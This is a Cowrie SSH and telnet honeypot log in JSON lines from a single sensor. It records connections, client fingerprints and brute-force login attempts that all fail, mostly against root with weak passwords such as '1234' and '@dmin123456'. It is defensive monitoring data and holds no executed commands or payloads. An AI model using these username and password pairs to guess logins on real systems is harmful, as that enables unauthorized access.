{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:18.516634Z","src_ip":"92.118.39.50","session":"f0293c6e0443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a84b2c4bc003","protocol":"ssh","message":"New connection: 160.22.170.38:52830 (10.17.0.5:22) [session: a84b2c4bc003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:19.570735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:19.702793Z","src_ip":"160.22.170.38","session":"a84b2c4bc003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:19.897093Z","src_ip":"92.118.39.50","session":"f0293c6e0443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:19.961705Z","src_ip":"160.22.170.38","session":"a84b2c4bc003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefan","password":"stefan","message":"login attempt [stefan/stefan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:21.172322Z","src_ip":"160.22.170.38","session":"a84b2c4bc003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:22.710321Z","src_ip":"160.22.170.38","session":"a84b2c4bc003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":53175,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a840f45ef6a","protocol":"ssh","message":"New connection: 14.55.144.22:53175 (159.203.135.109:22) [session: 6a840f45ef6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:25.736275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:25.740320Z","src_ip":"14.55.144.22","session":"6a840f45ef6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:25.946226Z","src_ip":"14.55.144.22","session":"6a840f45ef6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TEST123","message":"login attempt [root/TEST123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:26.801965Z","src_ip":"14.55.144.22","session":"6a840f45ef6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:28.006461Z","src_ip":"14.55.144.22","session":"6a840f45ef6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":35998,"dst_ip":"159.203.135.109","dst_port":22,"session":"572511f08fe1","protocol":"ssh","message":"New connection: 66.29.142.197:35998 (159.203.135.109:22) [session: 572511f08fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:29.436647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:29.440574Z","src_ip":"66.29.142.197","session":"572511f08fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:29.507571Z","src_ip":"66.29.142.197","session":"572511f08fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XMR$Tr0ng@P@ss","message":"login attempt [root/XMR$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:29.709023Z","src_ip":"66.29.142.197","session":"572511f08fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:30.778576Z","src_ip":"66.29.142.197","session":"572511f08fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.512709856033325,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:31.713254Z","src_ip":"137.184.5.188","session":"4a22a7e8b650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"38.4","message":"Connection lost after 38.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:40.277290Z","src_ip":"162.144.88.94","session":"28115bf9bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":39692,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e4ba10f8ac9","protocol":"ssh","message":"New connection: 103.78.1.33:39692 (10.17.0.5:22) [session: 7e4ba10f8ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:40.637092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:40.641681Z","src_ip":"103.78.1.33","session":"7e4ba10f8ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:40.861086Z","src_ip":"103.78.1.33","session":"7e4ba10f8ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43654,"dst_ip":"159.203.135.109","dst_port":23,"session":"79efa97846b9","protocol":"telnet","message":"New connection: 170.64.224.25:43654 (159.203.135.109:23) [session: 79efa97846b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:41.364655Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin123456","message":"login attempt [root/@dmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:41.775377Z","src_ip":"103.78.1.33","session":"7e4ba10f8ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:42.998059Z","src_ip":"103.78.1.33","session":"7e4ba10f8ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":53638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e462f57a5f44","protocol":"ssh","message":"New connection: 80.94.92.55:53638 (159.203.135.109:22) [session: e462f57a5f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:45.409581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:45.848637Z","src_ip":"80.94.92.55","session":"e462f57a5f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:45.853257Z","src_ip":"80.94.92.55","session":"e462f57a5f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.132894277572632,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:47.497423Z","src_ip":"170.64.224.25","session":"79efa97846b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:48.022531Z","src_ip":"80.94.92.55","session":"e462f57a5f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":55432,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce7b2936c38","protocol":"ssh","message":"New connection: 193.37.70.224:55432 (159.203.135.109:22) [session: fce7b2936c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:48.257375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:48.261446Z","src_ip":"193.37.70.224","session":"fce7b2936c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:48.354045Z","src_ip":"193.37.70.224","session":"fce7b2936c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140777","message":"login attempt [root/140777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:48.639575Z","src_ip":"193.37.70.224","session":"fce7b2936c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:49.566689Z","src_ip":"80.94.92.55","session":"e462f57a5f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:46:49.735935Z","src_ip":"193.37.70.224","session":"fce7b2936c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":42144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2923b548e170","protocol":"ssh","message":"New connection: 211.251.245.88:42144 (10.17.0.5:22) [session: 2923b548e170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:11.021461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:11.026716Z","src_ip":"211.251.245.88","session":"2923b548e170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:11.239820Z","src_ip":"211.251.245.88","session":"2923b548e170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:12.094390Z","src_ip":"211.251.245.88","session":"2923b548e170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:13.301720Z","src_ip":"211.251.245.88","session":"2923b548e170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":49126,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c07407606b5","protocol":"ssh","message":"New connection: 118.26.36.195:49126 (159.203.135.109:22) [session: 7c07407606b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:15.962085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:15.966684Z","src_ip":"118.26.36.195","session":"7c07407606b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:16.184998Z","src_ip":"118.26.36.195","session":"7c07407606b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop0","message":"login attempt [root/qwertyuiop0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:17.093827Z","src_ip":"118.26.36.195","session":"7c07407606b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:18.315066Z","src_ip":"118.26.36.195","session":"7c07407606b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51362,"dst_ip":"10.17.0.5","dst_port":22,"session":"1358d080f19d","protocol":"ssh","message":"New connection: 81.177.101.45:51362 (10.17.0.5:22) [session: 1358d080f19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:47:34.273113Z"}
